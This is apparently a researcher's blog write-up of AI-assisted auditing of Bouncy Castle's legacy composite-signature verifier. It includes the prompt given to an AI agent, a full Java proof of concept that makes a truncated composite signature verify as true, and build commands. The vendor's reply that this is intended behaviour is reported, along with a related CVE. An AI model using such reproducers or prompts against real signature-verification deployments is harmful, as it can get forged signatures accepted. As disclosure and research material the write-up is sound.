Bouncy Castle: A Composite "Bypass" in a Legacy OID
I started this one the boring way: pick a widely deployed crypto library, pick a security property, and stare at the verifier until something feels off. For me that library was Bouncy Castle, and the property was hybrid/composite signatures: the whole promise is that you don't get to "downgrade" to the weakest component.
Step 1: Choose the Target
I was looking at crypto-heavy Java ecosystems and kept circling back to bc-java because it sits under a lot of real certificate and CMS verification paths. Composite signatures looked like the right surface area: lots of ASN.1 parsing, multiple algorithms, and policy decisions embedded in code.
Step 2: The Prompt and Setup
The trick (for me) wasn't "ask the model to find bugs". It was: give it the threat model and the standards context, then force it to prove the claim with an executable PoC.
- Model: Codex 5.2 with agent loops (about 18 minutes on my run).
- Context: certificate/signature verification expectations (RFC 5280) plus composite-signature draft notes (IETF draft).
- Constraint: only count it if it ends in a minimal reproducer.
The Prompt I Used
You are reviewing bc-java for composite/hybrid signature verification bypasses.
Threat model: an attacker can choose signature bytes, but does not control the verifier's public key.
Goal: find any path where a composite signature that SHOULD require all components can be made to validate
by omitting/truncating components or by exploiting ASN.1 parsing.
Focus areas:
- legacy composite OID 1.3.6.1.4.1.18227.2.1 (id_alg_composite)
- JcaContentVerifierProviderBuilder / certificate/CMS verification paths
Deliverables:
1) exact code location and why it's a bypass
2) a minimal Java PoC that prints verify=true for a forged/truncated signature
3) commands to build and run it against bc-java
Step 3: The Bypass (Legacy Composite OID)
The path I landed on was the legacy composite verifier in
pkix/src/main/java/org/bouncycastle/operator/jcajce/JcaContentVerifierProviderBuilder.java
for OID 1.3.6.1.4.1.18227.2.1 (id_alg_composite).
(source)
The bug-shaped behavior is simple: the verifier iterates over the number of elements present in the signature
SEQUENCE (sigSeq.size()). It does not enforce that the signature contains as many components
as the algorithm parameters and public key imply. So a truncated signature sequence becomes "verify only the prefix".
// simplified shape of the legacy verifier
ASN1Sequence sigSeq = ASN1Sequence.getInstance(expected);
for (int i = 0; i != sigSeq.size(); i++) { // bound is attacker-controlled
if (sigs[i] != null) {
if (!sigs[i].verify(componentBytes(i))) failed = true;
}
}
return !failed & atLeastOneChecked;
Proof of Concept
This PoC signs only with RSA, then wraps that RSA signature as a 1-element composite signature, and verifies it against a
2-component composite public key (RSA + ECDSA). The verifier prints verify=true.
CompositeTruncPoC.java
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Security;
import java.security.Signature;
import java.security.spec.ECGenParameterSpec;
import org.bouncycastle.asn1.ASN1EncodableVector;
import org.bouncycastle.asn1.ASN1Encoding;
import org.bouncycastle.asn1.DERBitString;
import org.bouncycastle.asn1.DERSequence;
import org.bouncycastle.asn1.misc.MiscObjectIdentifiers;
import org.bouncycastle.asn1.x509.AlgorithmIdentifier;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import org.bouncycastle.jcajce.CompositePublicKey;
import org.bouncycastle.operator.ContentVerifier;
import org.bouncycastle.operator.ContentVerifierProvider;
import org.bouncycastle.operator.DefaultSignatureAlgorithmIdentifierFinder;
import org.bouncycastle.operator.jcajce.JcaContentVerifierProviderBuilder;
public class CompositeTruncPoC {
public static void main(String[] args) throws Exception {
Security.addProvider(new BouncyCastleProvider());
KeyPairGenerator rsaGen = KeyPairGenerator.getInstance("RSA");
rsaGen.initialize(2048);
KeyPair rsa = rsaGen.generateKeyPair();
KeyPairGenerator ecGen = KeyPairGenerator.getInstance("EC");
ecGen.initialize(new ECGenParameterSpec("secp256r1"));
KeyPair ec = ecGen.generateKeyPair();
byte[] msg = "hello".getBytes(StandardCharsets.UTF_8);
// Sign only with RSA
Signature rsaSig = Signature.getInstance("SHA256withRSA", "BC");
rsaSig.initSign(rsa.getPrivate());
rsaSig.update(msg);
byte[] rsaSigBytes = rsaSig.sign();
// Composite alg ID params: [SHA256withRSA, SHA256withECDSA]
DefaultSignatureAlgorithmIdentifierFinder algFinder = new DefaultSignatureAlgorithmIdentifierFinder();
AlgorithmIdentifier rsaAlg = algFinder.find("SHA256WITHRSA");
AlgorithmIdentifier ecdsaAlg = algFinder.find("SHA256WITHECDSA");
ASN1EncodableVector algs = new ASN1EncodableVector();
algs.add(rsaAlg);
algs.add(ecdsaAlg);
AlgorithmIdentifier compAlg = new AlgorithmIdentifier(
MiscObjectIdentifiers.id_alg_composite, new DERSequence(algs));
// Truncated composite signature: only RSA component
ASN1EncodableVector sigV = new ASN1EncodableVector();
sigV.add(new DERBitString(rsaSigBytes));
byte[] truncatedSig = new DERSequence(sigV).getEncoded(ASN1Encoding.DER);
// Verify with composite public key (RSA + ECDSA)
CompositePublicKey compPub = new CompositePublicKey(rsa.getPublic(), ec.getPublic());
ContentVerifierProvider cvp = new JcaContentVerifierProviderBuilder()
.setProvider("BC").build(compPub);
ContentVerifier verifier = cvp.get(compAlg);
OutputStream vOut = verifier.getOutputStream();
vOut.write(msg);
vOut.close();
System.out.println("verify=" + verifier.verify(truncatedSig));
}
}
Build and Run (macOS)
cd /Users/zero/Desktop/sig/bc-java
./gradlew :prov:jar :pkix:jar
javac -cp "prov/build/libs/*:pkix/build/libs/*" CompositeTruncPoC.java
java -cp ".:prov/build/libs/*:pkix/build/libs/*" CompositeTruncPoC
Expected Output
verify=true
Report Timeline
Fair enough. My original security claim assumed "AND" semantics (all components must verify). For this legacy experimental OID, Bouncy Castle treats it as "either-or-both", so truncation is not a bypass in their intended policy model. This is also consistent with bc-java tests that verify a composite-signed certificate using only one component key. (test reference)
Fast Forward: Mythos, Glasswing, and CVE-2026-5588
Months later, the Mythos/Glasswing hype hit. While I was reading Anthropic's Mythos preview post, I noticed how close their workflow feels to what I was doing in January: a strong model, a scaffold, and a prompt that forces the system to produce a concrete, runnable report. The post is authored by Nicholas Carlini and others at Anthropic, and it explicitly calls out "crypto libraries" as a class of high-impact targets. (Mythos / Glasswing preview)
While following that thread, I ended up at CVE-2026-5588, which is in the same neighborhood: the legacy composite
verifier accepting an empty signature sequence (30 00) as valid. The fix adds an atLeastOneChecked
guard (commit 656bae0db, April 5, 2026). (commit, NVD)
My personal analysis (and it is only that): the Mythos post doesn't name the specific repositories they tested, and the CVE record is sourced from Bouncy Castle ("bcorg"). But given the timing, and given that their post talks about crypto libraries, it made me wonder whether bc-java could have been one of the kinds of libraries in scope. I don't know, and I'm not claiming it was. I was just happy to see the pattern show up publicly: subtle verifier acceptance conditions that become obvious once you force the tooling to produce a minimal reproducer.
Model Quality Matters, but Context Is King
The lesson I keep taking from this: agentic tooling is an amplifier, not a substitute. The prompt, the references, and the threat model are what turned "read this repo" into a concrete PoC. Model quality matters, but context is king.